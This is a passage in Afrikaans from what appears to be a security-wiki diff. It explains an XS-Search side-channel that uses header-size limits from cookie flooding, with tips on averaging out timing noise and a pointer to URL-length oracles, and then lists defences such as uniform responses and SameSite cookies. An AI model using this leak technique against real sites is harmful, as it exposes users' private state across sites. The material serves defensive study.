gewoonlik ’n grens vir kopteksgrootte en sal vroeër faal wanneer baie cookies teenwoordig is. +- Stabiliseer: voer verskeie parallelle cookie-set operasies uit en peil herhaaldelik om die invloed van tyd- en kasgeraas deur gemiddeldes te verminder. + +Related XS-Search tricks +- URL-lengte-gebaseerde orakels (geen cookies nodig) kan gekombineer of in plaas daarvan gebruik word as jy ’n baie lang versoekdoel kan afdwing: + +{{#ref}} +url-max-length-client-side.md +{{#endref}} + +Verdedigingsmaatreëls en verharding +- Maak sukses- en mislukking-antwoorde ononderskeibaar: +- Vermy voorwaardelike omleidings of groot verskille in responsgrootte tussen toestande. Gee dieselfde status, dieselfde content type, en soortgelyke inhoudslengte terug ongeag die toestand. +- Blokkeer kruisdomein subresource-peilings: +- SameSite cookies: stel sensitiewe cookies op SameSite=Lax of Strict sodat subresource-versoeke soos